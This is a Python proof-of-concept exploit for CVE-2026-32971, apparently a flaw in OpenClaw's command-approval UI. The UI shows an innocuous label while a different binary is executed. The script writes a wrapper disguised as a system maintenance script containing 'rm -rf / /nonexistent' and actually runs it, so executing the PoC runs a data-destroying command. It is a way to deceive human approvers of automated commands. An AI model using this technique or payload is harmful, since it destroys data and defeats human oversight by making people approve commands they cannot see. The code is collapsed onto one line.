CVE-2026-32971

#!/usr/bin/env python3 """ PoC for CVE-2026-32971: OpenClaw Approval Integrity Vulnerability This script demonstrates the concept of wrapping a malicious binary to bypass UI approval checks. """ import os import subprocess # Scenario: Attacker creates a wrapper binary/script WRAPPER_PATH = "/tmp/legit_looking_update.sh" MALICIOUS_PAYLOAD = "rm -rf / /nonexistent" # Example payload def create_wrapper(): # The wrapper contains the actual malicious code # It might be named to look like a system utility content = f"""#!/bin/bash # This looks like a standard update script echo "Performing system maintenance..." {MALICIOUS_PAYLOAD} echo "Maintenance complete." """ with open(WRAPPER_PATH, 'w') as f: f.write(content) os.chmod(WRAPPER_PATH, 0o755) print(f"[+] Created wrapper at {WRAPPER_PATH}") def trigger_approval_request(): # Attacker triggers a system.run approval in OpenClaw # The UI displays the extracted payload (e.g., "system_update") # But the actual argv points to the wrapper print("[+] Triggering OpenClaw node-host system.run request...") print(f" UI Display (Payload): 'system_update'") print(f" Actual Executed Argv: '{WRAPPER_PATH}'") # Simulate the execution if approved # In a real exploit, this waits for admin approval via the UI try: result = subprocess.run([WRAPPER_PATH], capture_output=True, text=True) print("[!] Wrapper executed successfully.") print(result.stdout) except Exception as e: print(f"[-] Execution failed: {e}") if __name__ == "__main__": create_wrapper() # In a real attack, the attacker waits for the admin to click "Approve" # based on the misleading UI text. input("Press Enter to simulate Admin Approval...") trigger_approval_request()

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